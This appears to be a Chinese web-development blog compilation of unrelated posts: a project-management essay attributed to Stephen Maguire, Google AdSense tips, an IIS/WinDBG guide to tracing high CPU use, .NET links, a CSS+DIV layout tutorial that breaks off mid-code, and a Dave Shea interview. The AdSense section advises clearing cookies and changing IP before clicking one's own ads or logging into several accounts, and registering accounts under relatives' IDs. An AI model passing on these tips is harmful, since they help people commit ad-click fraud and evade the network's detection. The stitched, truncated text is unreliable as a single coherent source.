微软资深经理人的网站项目管理经验

这是微软资深项目经理人Stephen Maguire的项目管理经验。软件开发和网站开发有极其相似的地方,我们可以从中学习领会许多知识。

第一章 有效团队的基础

1、专心改善产品

公司付工资给设计师,要他们在合理的时间开发出品质精良的网站,但是设计师们的时间却经常被其它事情占用了。

典型的情况是设计师要花大量的时间准备会议,参加会议,读写开会记录和进度报告,还有回复email等等,这些事情都不能改善网站的工作,虽然其中一些是设计师自己主动做的,但更大一部分是项目经理下的命令。

虽然项目经理的本意是好的,但是却违背了项目经理的基本守则:项目经理的任务是努力消除设计师工作上的一切障碍,让设计师权利专注在真正重要的工作上—网站开发。

这不是震惊世界的发现,只是简单的道理,但是有多少项目经理确实做到呢?

2、排除干扰

如果你希望团队在期限之内完成网站,就必须尽可能排除一切不必要的工作。在你分派工作给组员前,请问问自己,这件工作真的有必要让大家做吗?身为项目经理,必须时刻问自己一个问题: “我努力的目的究竟是什么?”

常见的就是让组员写报告。一天8小时工作时间,很可能4个小时花在了写报告上。而正常的开发工作却不得不加班做。

请不要误解我的意思,我并不是说不需要进度报告,只是提醒项目经理们,不要过分注重“项目流程”,而忽略了真正的产品—-你的网站。我的一点心得是:用一个新的办法了解进度,容易写,而且不花时间。

1)当有设计师完成一个功能(子项目),就发一个内部email给大家;

2)当项目进度可能落后,就和我私下交流,讨论解决的办法。

3、明确目标

什么样的目标是明确的目标呢?其实并不一定是博大精深的,只要足够详细,能够保证项目向正确的方向进行就可以。通常只要项目组长花几小时,或者几天时间就可以制定一个详细的项目目标。例如本站:

目标1: 建立一个以网站项目管理为主题的网站。评价:目标已经明确主题,但还是不够详细。

目标2:为网站项目管理爱好者提供一个交流的平台。评价:目标定位了服务对象和主要功能。但是并没有体现我们建立网站的深层目的。

目标3:为网站项目管理爱好者提供一个学习交流,并能够共同制定详细规范的平台。评价:明确的目标,指出了服务对象,最主要的功能和网站本身的目的。

在目标确定后,我们就坚持这个大方向,凡是有利于目标实现的最先完成,比如:论坛,规范文章。与目标无关或关系不大的,可以不做或者推迟做,比如人才交流,漂亮的界面等。

4、设计的优先考虑

我们要建立以下基本观念:项目目标引导项目的方向,而设计的考虑顺序影响设计的过程。

每个项目的具体情况不同,考虑的优先顺序也回不同,一般来说,程序设计考虑的优先级表为:

1)尺寸大小(size)

2)速度

3)安全性

4)可测试性

5)容易维护

6)简洁

7)再用性

8)可移植性

除了优先考虑顺序外,你还应该建立各项考虑点的质量规范。如果事先能够决定最合适的优先考虑顺序,并建立质量规范,团队就不会浪费时间,网站的整体风格就会比较一致。

第二章 有效的作业方式

1、什么时候修改错误

微软的经验是:(1).bug越晚清除,时间花得越多; (2).在开发过程中立刻除虫,可以让您早些学到经验,然后不会犯同样的错误;(3).如果能够保证没有任何错误,您就能比较准确的估出项目的完成时间。 所以,设计师应该把找错误当成一件重要的事情,不要为任何理由而耽误。

2、email的时间陷阱

回复email要分批做,早上一上班,中午休息时间,或者是下班前看一下都可以,但不要有事没事都不停的看email。

3、方法让大家分享

身为主管,你应该鼓励组员提出改进工作效率的建议。引导组员思考的方法也很重要。比如,下面两个问题:

a.为什么进度总是一再落后?

b.有什么办法可以避免将来再发生进度落后?

第一个问题可能的答案是:互相依赖的工作太多,工具太难用,老板是个白痴等等;第二个答案可能是:减少互赖性的工作,购买更好的工具,与老板加强沟通。

两个问题的方向不同,第一个是探究原因,导引出抱怨;第二个是未来改进的方法,导引出解决办法。

问题越精确,问题越有力,对项目目标的实现就越有益,让我们再看三个问法:

a.如何保持每次都如期完成项目?

b.如何在不加班的前提下,如期完成项目?

c.如何在不加班,也不增加人手的前提下,如期完成任务?

第三个问法,就迫使大家来点真正有创意的思考和认真检讨工作本身值得改进的地方了。一次比一次更精确的问题,可以刺激思考过程,激发更有创意的答案。

4、无意义的惩罚

惩罚是一种心理上的负强化作用,惩罚是对员工的责骂,训斥与威胁,就象鞭打马匹使它服从主人的命令。这种管理手段是该受谴责的,如果主管们的用意是希望组员因此而工作更努力的话,就大错特错了。这种责骂只会激起组员心中的愤怒,羞恼和沮丧。实际上,往往这些项目的问题都出在管理方面,目标不明确或者野心太大,设计师只是倒霉的遇上了差劲的主管,其实他们的能力不比其他项目的设计师差。因此放弃责骂吧,责骂只会让项目更糟,绝对没有任何改善的效果。

第三章 保持进度

即使最顺利的项目,也无法完全按照计划执行,但是,如果你放任计划随意进行,有一天你猛然发现项目脱轨太远,来不及完成。项目就象一枚瞄准月球的火箭,只要有一点点不够精确,到时候就无法命中目标,差之毫厘,失之千里,实在不可不慎重。聪明的主管懂得这个道理,他们会经常注意项目的精度,随时修正方向,保持项目不偏离计划进行。本章将介绍一些很有效的策略,帮助项目保持进度。

1、向前看

我一直相信,项目之所以脱轨,主要原因在于人们没有认真思考如何使项目保持进度,顺利进行。如果没有未雨绸缪,只是坐等问题发生,到那时候就太迟了。一个月前没有花30分钟思考这个问题,现在就可能要浪费几小时或几天的时间去修正。这就是所谓的“被动工作”。

解决这种被动工作的方法,就是化被动为主动,事先发掘潜在的问题,并设法避免。有很多方法和技巧可以训练自己“向前看”,但总结起来不过是一句简单的要决:定期暂停手边的工作,然后往前思考,随时做必要的修正,以避免未来的大障碍。

我已经有十年以上的习惯,每天花10到15分钟思考下列问题,并且列出答案: 有什么事情是我今天能做,而且可以帮助项目在未来几个月内顺利进行的?

2、明确定义需求的范围

人们在开口要求的东西未必是他真正想要的,处理他的要求之前,请务必确定他究竟想要做什么。

在网站项目开发中,经常会遇到客户或者领导层提出一些希奇古怪的需求。一次,首席设计师惊慌失措的跑来找我,告诉我麻烦来了,客户对新设计的界面不满意,要求按照某个著名网站一摸一样的设计。如果真的那样做,需要重新花一个星期才能做出来,可是目前离期限的时间已经很短了。听了他的陈述后,我必须承认如果真得那样做,我们的进度就完蛋了,同时我也很好奇,为什么客户会有这样的要求,所以在我答复他们做还是不做之前,请客户经理去了解一下这个需求的原因。不一会儿,客户经理笑嘻嘻地回来了。

“他们只是看中了那个网站的动态下拉菜单,觉得那样比较吸引人”

呵呵,我知道他在笑什么了,这样的动态菜单我们其实早就有现成的模板了,只要将它替换现有的设计就可以了。而我们的设计师不清楚客户的喜好而已。

大部分客户在提出需求时都不解释原因,这种情况太普遍了,甚至你的管理层也会发生这种情况。如果你从他们的请求中无法看出他们的目的,你可以反问他们,在还没有弄清楚究竟想要做什么之前,不要贸然答应,宁可拒绝他们的要求也不要浪费这种时间。

3、就是说不

当遇到客户或上级的无理需求,项目经理往往会忍气吞声的同意他们的要求。迫于某些压力,主管们宁可宁事息人,也不愿意为了整个产品或自己的团队坚持最佳的选择。

有时候,对方的请求也可能是非常合理的,你也想同意,但是因为你的日程排满了,实在爱莫能助,您也只好对他们说“不”。然而,在我的经验中,很多主管为了避免冲突,仍然会同意这样的请求,只是不知道该如何如期完成这些过多的工作,只是想到时候再说吧,船到桥头自然直,事实上事情很少这么容易——船上若是载了太多的货,就是船身直了也过不了桥啊。

这些主管不了解,勉强接下自己不可能完成的任务,实在是一长痛代替短痛的做法,到时候无法如期完成,倒霉的是整个团队因此必须加班工作。所以,最好的办法还是老老实实拿您的日程表,与客户或上级说明自己心有余而力不足的情况,设法安排一个折中的日程或工作内容。想想这要比现在无条件答应请求而最后食言的结果要好的多。

4、你无法让每个人都满意

身为项目主管,你必须明白这个道理:如果您希望每个人都满意,最后您会焦头烂额,什么事都做不成。

记住:不要为了讨好别人而伤害工作进程,您永远要根据自己的目标,做适当的决策。

同样,对待上级的建议您也应该考虑后再决策,不要盲从。应该以项目目标为最优先的考虑。我不是主张反抗权威,而是强调:上级也是人,一样可能犯错,他们的建议不一定是最好的,如果你想做一名出色的主管,您必须非常认真的衡量所有的建议,不论是谁提出的,您都得确定其符合项目目标才能采纳。

如果上级要求您做一件事,而您认为不妥,那您应该在着手进行之前向上级说明您的想法,也许上级回同意你的想法而放弃他的建议,也许,上级会赞许你的想法,但仍请你考虑他的意见,不论结果如何,起码经过沟通对彼此都有帮助。

记住:是你在为项目负责,不要让任何人的建议阻碍项目的进行,包括上级的建议。

想确保项目按计划进行,其关键就在于项目经理完全明白该做什么,并且不让该做的事受到不当的干扰。

google adsense的一些准则

google adsense产品的一些原则

1.永远不要作弊(太老土了)
2.每个申请帐号的地址只能对应一个人名,用家里人身份证申请的,注意了.
3.不要试图在同一台机器上面登录多个帐号.身在外地的站长,想看数据的时候忍忍吧,千万别用站长朋友的机器登录,小心连坐.建议使用报表功能把多个帐号的收入每天发送到指定邮箱.
4.保持自己所用机器的干净,不要点击任何google的广告.
5.如果非要点几个广告,登录几个帐号,请先清理机器上面所有浏览器的临时文件和cookie,并且彻底更换IP
6.互点必死
7.用干净的网站注册帐号,google不在乎你是否把广告放在这个网站上.
8.网站有色情内容100%被封.版权内容可以在你认识google的人的情况下做.
9.收入上升过快必死
10.google如果要k号,永远跟作弊无关.google只在乎效果是否好,并不在乎你是否作弊(其实跟第一条并没有冲突,可以慢慢理解)
11.google投放出来的所有广告,均会监控转化率,转换率达不到一定标准一定被k号.就算不被k号,也会被降权.(具体比例就不说了)
12.google近来在拼命推一个产品,叫做Google Analytics,想必很受站长们的欢迎.大家知道这个东西的主要作用是什么吗?k号.说白了就是用来监控广告的转化率和监控你是否作弊.嘿嘿,怕了吧.

google adsense的一些优化规则
1.目前国内效果最好的广告样式是小方块
2.每个页面上面的广告个数不要超过3个.google广告的价格是按照出现时间递减.也就是说,最先出来的广告价格最高,然后每个价格越来越低
3.google广告可以跟其他广告(比如百度)等放同一个页面.

IIS 占用 CPU %问题排查方案

有时候辛辛苦苦写个网站,挂到服务器上一看,CPU给百分百了,这种问题百分之八九十都是因为代码写有问题,而不是因为系统设置的问题,这种问题也比较难排查。但是结合一些工具也可以找到原因的,关于windbg的使用,好像有本关于.net调试的书,大家有兴趣可以看看,网上也有一些帖子,但关于ANTS Profiler的帖子就比较少了,大家也可以下载试用版来帮助解决问题

1 准备日志
1.1 用perfmon添加计数器日志,添加如下计数器

ASP.NET:所有计数器
Memory:所有计数器
Process:所有计数器和所有实例
Processor:所有计数器和所有实例
Thread:所有计数器和所有实例
Web service:所有计数器和所有实例

1.2 间隔改成1,单位改成秒

1.3 用鼠标右键单击这个日志名,然后单击开始。确保日志捕获了处理器利用率猛增至 100% 的那段时间内的所有数据。

2  抓Dump
2.1 用IIS Diagnostics Toolkit工具找出占用CPU高的w3wp进程ID

2.2 用windbg执行以下命令adplus –hang –p pid并抓取dump

3 检查日志
3.1 识别哪一个进程消耗了大部分的 CPU 时间

用perfmon打开准备好的日志文件,用鼠标右键单击图表,然后单击添加计数器。在添加计数器对话框中,从性能对象列表中选择 Process。选择从列表中选择计数器,然后从此列表框中选择 %Processor Time。选择所有实例,单击添加,然后单击关闭。

这将为我们提供所有处理器及其 CPU 使用情况的列表。现在您需要查清哪个进程引起了 100% 的 CPU 问题。

确保选中了突出显示工具按钮(黄色灯泡图标)。现在您可以滚动这些计数器,将除最接近 100% 标记的那个进程之外的所有进程全部删除。确保只选择了那些与您有关系的计数器。例如,如果您正在调试 100% 的 CPU 利用率的问题,您也许应该查找w3wp、inetinfo、其它的脱机处理的 COM 程序包/应用程序 (MTX.EXE/DLLHOST.EXE) 或者 IIS 应用程序。

3.2 找出该进程内部的那些在出现 100% 的 CPU 问题时仍然活动的线程实例

一旦您在进程级将问题隔离出来,您就可以将注意力集中在该进程内部的那些在出现 100% 的 CPU 问题时仍然活动的线程上,并试着隔离引起问题的那个线程。为此,我们添加更多的计数器来显示该进程中所有线程的 CPU 使用情况。对于本例而言,就是为w3wp进程(假设它占用CPU最高)中的所有线程添加计数器。用鼠标右键单击图表,然后单击添加计数器。在添加计数器对话框中,从性能呢个对象列表中选择 Thread。选择从列表中选择计数器,然后从列表框中选择 %Processor Time。选择 从列表中选择实例,然后选择以 w3wp/* 开头的所有实例。单击添加,然后单击关闭。

这时,图表中显示在w3wp进程中的所有线程的 CPU 使用情况。

现在可以滚动计数器,将除最接近 100% 标记的那个线程以外的所有线程全部删除。这样我们就准确地找到了引起问题的那个线程(假设它的线程实例ID为12)。

3.3 找出导致CPU占用100%的线程ID

我们只保留实例ID 为12的线程(上一步操作留下的那个线程),它占用了最长的 CPU 时间。现在必须找出这个线程的线程 ID,然后在 WinDBG 中找到这个线程并对它进行调试。

要找出线程 ID,请用鼠标右键单击图表,然后单击添加计数器。在添加计数器对话框中,从心能对象列表中选择 Thread。选择从列表中选择计数器,然后从此列表框中选择 ID Thread。选择从列表中选择实例,然后选择实例w3wp/12(看具体情况而定)。单击添加,然后单击关闭。

这样我们就得到了引起问题的那个线程的 ID。选择 ID Thread 计数器。记录该计数器的最后一个值、最大值、最小值和平均值。通常这四个数是相同的。记录这个值(比如说1460),并切换到 WinDBG 应用程序。

4  找出导致CPU占用100%的相关代码
4.1 打开windbg,点击菜单File/Open Crash Dump,选择第二步用Adplus抓的dump文件

在 WinDBG 的 View 菜单上,单击 Processes and Threads。这将显示在出现 100% 的 CPU 问题时在w3wp进程内部运行的线程的一个列表。查找您在性能监视器中记录的线程 ID 号(3.3步中找到的线程ID,这个ID是十进制的,用calc换算成16进制标识)。如果在列表中找到此 ID 号(16进制),则单击选中它。单击 OK。

在 View 菜单上,单击 Call Stack。这时显示引起问题的那个线程的堆栈。该堆栈将有问题的方法隔离出来。一旦我们找到这个方法,我们就可以返回原代码,查看是哪行代码引起这个问题的。

.net 学习资源收集

[url=http://www.cnblogs.com/thcjp/archive/2006/08/29/489491.html]Visual Studio2005入门.Net系列视频教程[/url],强烈推荐
[url=http://tech.163.com/special/000915SN/stvs2005.html]网易Visual Studio2005入门.Net系列视频教程[/url]
[url=http://www.qq15.cn/Article/Search.asp?Field=Title&ClassID=&keyword=.net]中华网,大量.net视频教程[/url]

[url=http://www.asp.net/downloads/starter-kits/]ASP.NET Starter Kit Web Sites[/url]

十步学会用CSS+DIV建站

原作者Steve Dennis,翻译Jorux

目录:

第一步:规划网站,本教程将以图示为例构建网站;

第二步:创建html模板及文件目录等;

第三步:将网站分为五个div,网页基本布局的基础;

第四步:网页布局与div浮动等;

第五步:网页主要框架之外的附加结构的布局与表现;

第六步:页面内的基本文本的样式(css)设置;

第七步:网站头部图标与logo部分的设计;

第八步:页脚信息(版权等)的表现设置;

第九步:导航条的制作(较难);

第十步:解决IE浏览器的显示BUG;

第一步:规划网站,本教程将以图示为例构建网站

1.规划网站,本教程将以下图为例构建网站。

"divlayout"

点击看大图

其基本布局见下图:

"divlayout"

点击看大图

主要由五个部分构成:

1.Main Navigation 导航条,具有按钮特效。 Width: 760px Height: 50px

2.Header 网站头部图标,包含网站的logo和站名。 Width: 760px Height: 150px

3.Content 网站的主要内容。 Width: 480px Height: Changes depending on content

4.Sidebar 边框,一些附加信息。 Width: 280px Height: Changes depending on

5.Footer 网站底栏,包含版权信息等。 Width: 760px Height: 66px

第二步:创建html模板及文件目录等

1.创建html模板。代码如下:

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<meta http-equiv="Content-type" content="text/html; charset=UTF-8" />
<title>CompanyName – PageName</title>
<meta http-equiv="Content-Language" content="en-us" />
<meta http-equiv="imagetoolbar" content="no" />
<meta name="MSSmartTagsPreventParsing" content="true" />
<meta name="description" content="Description" />
<meta name="keywords" content="Keywords" />
<meta name="author" content="Enlighten Designs" />
<style type="text/css" media="all">@import "css/master.css";</style>
</head>
<body>
</body>
</html>

将其保存为index.html,并创建文件夹css,images,网站结构如下:

"layout"

2.创建网站的大框,即建立一个宽760px的盒子,它将包含网站的所有元素。
在html文件的<body>和</body>之间写入

<div id="page-container">
Hello world.
</div>

创建css文件,命名为master.css,保存在/css/文件夹下。写入:

#page-container {
width: 760px;
background: red;
}

控制html的id为page-container的盒子的宽为760px,背景为红色。表现如下:
"layout"
现在为了让盒子居中,写入margin: auto;,使css文件为:

#page-container {
width: 760px;
margin: auto;
background: red;
}

现在你可以看到盒子和浏览器的顶端有8px宽的空隙。这是由于浏览器的默认的填充和边界造成的。消除这个空隙,就需要在css文件中写入:

html, body {
margin: 0;
padding: 0;
}

第三步:将网站分为五个div,网页基本布局的基础:

 

1.将“第一步”提到的五个部分都放入盒子中,在html文件中写入:

<div id="page-container">
<div id="main-nav">Main Nav</div>
<div id="header">Header</div>
<div id="sidebar-a">Sidebar A</div>
<div id="content">Content</div>
<div id="footer">Footer</div>
</div>

表现如下:
"lay"
2.为了将五个部分区分开来,我们将这五个部分用不同的背景颜色标示出来,在css文件写入:

#main-nav {
background: red;
height: 50px;
}
#header {
background: blue;
height: 150px;
}
#sidebar-a {
background: darkgreen;
}
#content {
background: green;
}
#footer {
background: orange;
height: 66px;
}

表现如下:
"lay"

第四步:网页布局与div浮动等:

1.浮动,首先让边框浮动到主要内容的右边。用css控制浮动:

#sidebar-a {
float: right;
width: 280px;
background: darkgreen;
}

表现如下:
"lay"

2.往主要内容的盒子中写入一些文字。在html文件中写入:

<div id="content">
Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Nullam gravida enim ut risus.
Praesent sapien purus, ultrices a, varius ac, suscipit ut, enim. Maecenas in lectus.
Donec in sapien in nibh rutrum gravida. Sed ut mauris. Fusce malesuada enim vitae lacus
euismod vulputate. Nullam rhoncus mauris ac metus. Maecenas vulputate aliquam odio.
Duis scelerisque justo a pede. Nam augue lorem, semper at, porta eget, placerat eget,
purus. Suspendisse mattis nunc vestibulum ligula. In hac habitasse platea dictumst.
</div>

表现如下:
"lay"
但是你可以看到主要内容的盒子占据了整个page-container的宽度,我们需要将#content的右边界设为280px。以使其不和边框发生冲突。
css代码如下:

#content {
margin-right: 280px;
background: green;
}

同时往边框里写入一些文字。在html文件中写入:

<div id="sidebar-a">
Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Nullam gravida enim ut risus.
Praesent sapien purus, ultrices a, varius ac, suscipit ut, enim. Maecenas in lectus.
Donec in sapien in nibh rutrum gravida. Sed ut mauris. Fusce malesuada enim vitae lacus
euismod vulputate. Nullam rhoncus mauris ac metus. Maecenas vulputate aliquam odio.
Duis scelerisque justo a pede. Nam augue lorem, semper at, porta eget, placerat eget,
purus. Suspendisse mattis nunc vestibulum ligula. In hac habitasse platea dictumst.
</div>

表现如下:
"lay"
这也不是我们想要的,网站的底框跑到边框的下边去了。这是由于我们将边框向右浮动,由于是浮动,所以可以理解为它位于整个盒子之上的另一层。因此,底框和内容盒子对齐了。
因此我们往css中写入:

#footer {
clear: both;
background: orange;
height: 66px;
}

表现如下:
"lay"

第五步:网页主要框架之外的附加结构的布局与表现:

第五步主要介绍除网页主要框架之外的附加结构的表现(Layout),包括以下内容:
1.主导航条;
2.标题(heading),包括网站名和内容标题;
3.内容;
4.页脚信息,包括版权,认证,副导航条(可选)。

加入这些结构时,为了不破坏原有框架,我们需要在css文件"body"标签(TAG)下加入:

.hidden {
display: none;
}

".hidden"即我们加入的类(class),这个类可以使页面上任意属于hidden类的元素(element)不显示。这些会在稍后使用,现在请暂时忘记它。

现在我们加入标题(heading):
先回到HTML的代码,<h1>到< h6>是我们常用的html标题代码。比如我们一般用<h1>网站名</h1>,<h2>网站副标题< /h2>,<h3>内容主标题</h3>等。我们往html文件的Header层(Div)加入:

<div id="header">
<h1>Enlighten Designs</h1>
</div>

刷新一下页面,你就可以看到巨大的标题,和标题周围的空白,这是因为<h1>>标签的默认大小和边距(margin)造成的,先要消除这些空白,需要加入:

h1 {
margin: 0;
padding: 0;
}

接下来是导航条
控制导航条表现的css代码相对比较复杂,我们将在第九步或是第十步中详细介绍。现在html文件加入导航代码:

<div id="main-nav">
<ul>
<li id="about"><a href="http://css.jorux.com/wp-admin/post.php#" >About</a></li>
<li id="services"><a href="http://css.jorux.com/wp-admin/post.php#" >Services</a></li>
<li id="portfolio"><a href="http://css.jorux.com/wp-admin/post.php#" >Portfolio</a></li>
<li id="contact"><a href="http://css.jorux.com/wp-admin/post.php#" >Contact Us</a></li>
</ul>
</div>

(注:原教程使用了dl和dt,jorux在这使用了更常用的ul和li标签)
目前导航条的表现比较糟糕,但是要在以后的教程中介绍其特殊表现,故需要暂时隐藏导航条,于是加入:

<div id="main-nav">
<dl class="hidden">
<dt id="about"><a href="http://css.jorux.com/wp-admin/post.php#" >About</a></dt>
<dt id="services"><a href="http://css.jorux.com/wp-admin/post.php#" >Services</a></dt>
<dt id="portfolio"><a href="http://css.jorux.com/wp-admin/post.php#" >Portfolio</a></dt>
<dt id="contact"><a href="http://css.jorux.com/wp-admin/post.php#" >Contact Us</a></dt>
</dl>
</div>

我们跳一步,先到页脚:
页脚包括两部分:左边的版权,认证和右边的副导航条。
我们先要让副导航条向右浮动,就像之前处理Sidebar和Content关系的一样,需要加入一个新的层(div):

<div id="footer">
<div id="altnav">
<a href="http://css.jorux.com/wp-admin/post.php#" >About</a> –
<a href="http://css.jorux.com/wp-admin/post.php#" >Services</a> –
<a href="http://css.jorux.com/wp-admin/post.php#" >Portfolio</a> –
<a href="http://css.jorux.com/wp-admin/post.php#" >Contact Us</a> –
<a href="http://css.jorux.com/wp-admin/post.php#" >Terms of Trade</a>
&lt

CSS 禅意花园主人 Dave Shea 访谈

  也许你没听说过他的名字,但是,如果你是个认真的网站设计师,一定听说过 [url=http://www.csszengarden.com/]CSS Zen Garden [/url](CSS 禅意花园) 这个站点。其构想很单纯 – 提供网页的源文件,人们可以用 CSS 将它设计成各式各样的风格并提交上来。它反映了时代的潮流,并立即吸引了顶尖平面设计师的注意力,激发了Web设计师学习掌握CSS的热情。为什么?看多了早期的标记语言大师们死板的设计,我们终于可以领略艺术家和平面设计师们用 CSS 所能达到的设计境界。
  因此,CSS ZenGarden 既是个画廊,又是个宣言。Dave写道:“很显然,CSS 应当引起平面设计师们的高度重视。禅意花园致力于推广使用、启发灵感和鼓励参与。”那么,Dave Shea 究竟是何许人也? DMXzone 的 Bruce Lawson 周末采访了他。

  [b]CSS 高手能成为设计师的很少见。你为什么要做一个“CSS 布道者”?[/b]
  和 Doug, Todd, Kris 和 Paul 一样,我不认为使用 CSS 设计出的作品注定都是丑陋的。只不过应该用好 CSS 的人现在还没理解到它的妙处而已。

  请看普通设计(如矢量图形或 Quicktime 影片之类的)和 CSS 设计在创作过程中的差异。设计师在电脑上所做的一切都是由 GUI(图形用户界面)实现的,当然要所见即所得。而 CSS 要写代码,这是两个完全不同的领域,问题的难点就在这里:你必须成为双面手才行。

  我最近看过许多关于编码与设计的讨论。有人说只有对底层的代码有深刻的了解,才能解决出现的问题。就浏览器对CSS的支持程度来看,这种说法不无道理。但在我看来还是传统的设计师学习 CSS 这个新玩艺儿的方法有问题。

  到了直观的CSS编辑器的出现以后,情况才会有所改观。基于表格的设计工具早就有了,采用 Dreamweaver 和 Fireworks 能够制作出相当漂亮的网站,不需要懂得很多的HTML语言。尽管代码看起来很乱,但能够取悦大多数客户。在CSS编辑器的功能和易用性赶上这些网页制作工具之前,可以想象让那些不堪代码学习之苦的设计师们采用CSS,肯定会遇到不少阻力。我们需要的是 CSS 的 InDesign,可是有谁肯做这件事?

  但是我不是这样的设计师,我不能坐等工具出现,所以就瞄准 Web 的发展趋势,向前迈了一大步。我知道只要追随 XML 就能完全彻底地将内容和呈现相分离。曙光已经出现,还把自己局限于上世纪九十年代后期的设计方法是很不明智的,迟早是会丢掉饭碗的。我要为将来 – 我自己的前途做些打算 。

  嗯,有意思。何不建个新站点,在第一时间去验证这个想法,既能达到 XHTML, CSS 和 508 条款的要求,又不必做什么改动。还有什么比它更能带来满足感呢?。

  [b]在黎明到来之前的日子里,web 设计师和 web 开发者的区别在哪里?你是哪一类?[/b]
  或许两样都算吧。我想 web 设计师的主要工作是在前台:设计,制作 Flash,编写 XHTML/CSS 代码和一点儿 JavaScript,偶尔还要写服务器端的代码。Web 开发者主要在后台与 PHP,Perl,MySQL,ASP,XML打交道,还要写 JavaScript 和 XHTML/CSS/XSLT 代码。交叉当然是有的,我看到人们在这两者之间苦苦挣扎,我不知道该怎么称呼他们。更别提什么信息架构师、易用性大师和亲和力专家了,这些名词儿太笼统,变化太快。

  我是个网站设计师。我并不喜欢这顶帽子,我对外开价时通常用的是“平面设计师”,只不过我的设计领域恰巧集中在 Web 领域而已。

  [b]为什么你对 Web 这个媒体如此投入和狂热?[/b]
  混沌产生秩序,不同声音的力量,以及大家都站在同一起跑线上。和普通的网志相比,我并不对传统媒体有什么偏爱。新闻记者们整天在炒作,而在与他人合作的过程中,我发现网上的朋友们同样(也许更加)值得信赖,我并不感到孤独。

  除此之外还有网络的全球性。只须通过点击鼠标,我就可以和哈萨克斯坦的人们一样访问同样的信息。去年我经常沿着北美的海岸线旅行,每次从飞机的机舱向外望去,我就情不自禁地去想象 Web 所包容的巨大空间,令人觉得这是如此平常,而又实在难以置信。

  [b]你制作的第一个网站是哪个?在你做过的网站中,你最喜欢哪一个?[/b]
  实际上我在服务器上发布的第一个正式网站是“digital gallery”,是1997年做的,不过都是一些 3D 渲染效果很差劲的JPG 图片。那时我刚刚放弃学了很久的 QuickBasic 编程,我觉得我的兴趣在平面设计上,而不是编程。所以我需要一个媒体,而在当时,Web 对我来说是个全新的东西。读了 Molly Holzschlag 的 Sizzling Web Design 以后,我发现这正是我的兴趣所在,甚至还谋到了一份这样的差事。六年后的今天,我仍然觉得其乐无穷,我猜我选对了媒体。

  至于最喜欢的站点,我对提交到禅意花园的每份作品都感到兴奋不已,我感到很高兴,因为从未有人提及我在 mezzoblue.com 工作。我每隔几年都去一趟温哥华的一家巧克力公司 “Over the Moon”,1999年我为他们设计了第一个网站,现在的网站是 2001年底到2002年初制作的。看过代码的人就会发现当时我还有使用表格的习惯,不过这是我第一次尝试 CSS/XHTML 混合布局,从底栏的验证链接就可以看出。为什么我最喜欢它?当然是可以享用免费的巧克力。

  [b]怎么会想到要发起 css 禅意花园?[/b]
这个设想第一次在我脑海中闪现是在2002年9月。当时我正在为一家公司工作,他们当时仍在为 Netscape 4.x 写代码,我试图向他们演示应该放弃那些过时的代码,面向未来所带来的好处。其实我已经开始着手做了,不过以后就没有下文了 [这可是本次采访的独家消息,之前从未有人见过]。

  到了第二年四月,Lycos 打算举办一个“Hack Hotbot”竞赛,内容是为搜索引擎制作 CSS “皮肤”。长话短说,我不喜欢他们的比赛条件,他们的代码非常恐怖,他们拒绝了我的参赛作品,只是因为我是加拿大人。

  尽管这项比赛的运作方式令人无法恭维,但对整个网站设计群体来说却是个好事。我的作品完成的同时,也明白了什么是 不应该做的。9月的那个主意还在我的脑海中盘旋,现在时机已经成熟,我把这些想法整理整理,要做就把它做好。

  我所看到的是一条鸿沟。一边是 K10k 和 PixelSurgeon 和 Dik 及其信徒们,这些以设计为中心的精美作品确实令人眼花缭乱;而另一边是 CSS 的拥趸,其数量少得多。

  总得有人为他们架起一座桥梁。我不认为我已经达到了这个目标,其实我明白来自顶尖设计群体的阻力。CSS 阵营的人们已经开始去赢得 CSS 与表格布局的这场战争,在他们看来,CSS Garden 就是一个坚强后盾。

  我并不赞成这种战争或者对立。基于表格布局的混合设计仍然有用武之地,而且是人们在实际工作中的一个技术上的选择。把宗教留给专家们,为客户做出最恰当的选择吧。

  [b]现在这个站点已经进入 Google 的“CSS”搜索结果前十名;究竟为何如此受人关注?[/b]
  也许我对 CSS 过于熟悉了,反而无法给出正确答案。对我来说,这个设想只不过是其他项目自然演化的结果,而对大多数人来说这是一场革命。我们有人非常清楚,用 CSS 完全可以做到这种结果,但极少有人真的去实践过。Chris Casciano 和 Jeremy Keith 是先行者之一。

  而对于其他人来说完全是大开眼界。很多人说根本想不到用 CSS 竟然可以做出这样的神奇效果,所以我猜,构思新颖是我们受人喜爱的原因之一。此外,各个作品的名字通俗易懂,汇集了各种相关资源,为渴望向人展示自己作品的设计师提供了一个场所。

  随着设计师不断提交来自己的作品,网站的内容也在不断地更新,每每有令人惊奇的作品出现,不再有人去读那些文字了,我们都想知道其中的奥秘,这份熟悉的 XHTML 文件,竟然有这么多令人瞠目的呈现形式。

  创新是灵感的火花,而熟悉的内容让其充满活力。

  [b]在这些作品中,你最喜欢哪个?[/b]
  用外交辞令来说,当然每份作品都非常优秀。如果你真的要我献出镇山之宝的话,我想 Didier Hilhorst 的 Release One, Radu Darvas 的 Zunflower, Doug Bowman 的 Golden Mean, 和 Mike Pick 的 What Lies Beneath 完全出乎我的想象。尽管其 CSS 技巧各有独到之处,但每件都是绝妙之作。

  上面提到的那些自然是实至名归。我非常喜爱从24号(Dan Rubin 的 Not So Minimal)到31号(Kev Mears 的 Hedges)这组作品,其中每件都创意独到、设计精美,是不可多得的佳作。

  私下来说,对尚未问世的作品的质量,我决不敢妄加揣测。说实话,与这些花园的园丁们一起工作,我有些受宠若惊并引以为荣。

  [b]你还开办了 mezzoblue 网站。为何选择 blue ?[/b]
  Blue 表达了我内心淡淡的忧郁。

  实际上,我还是相当乐观的人。2001年秋我为新域名经历了一次头脑风暴,我想到了许多与“冷”有关的主题如 PixelBlue、MezzoFrost等等。当时的感觉很好,不过现在我有些后悔,不该把自己局限于某个色板。我在站点最近一次的改版中采用了很有意思的配色方案,这算是我乐观的一面的体现吧。

  [b]说出你最喜爱的电影、音乐、建筑、比萨饼口味和外国话?[/b]
  目前我最喜欢的就是 Amélie / Itzhak Perlman 的小提琴独奏、洛克菲勒中心、加州比萨店的北京鸭和 merde。

  [b]你认为目前最顶尖的设计师有哪些?[/b]
  不久前我刚浏览了 Doug Bowman 的作品,我对妻子说:“你知道,看了别人的作品感到不安其实很好,它为你树立了一个赶超的目标。” Todd Dominey 和 Cuban Council/K10k 成员的大作总能令我开心。在向禅意花园提交那两份作品之前,我对 Mike Pick 还不很熟悉,但很快就迷上了他的大作。

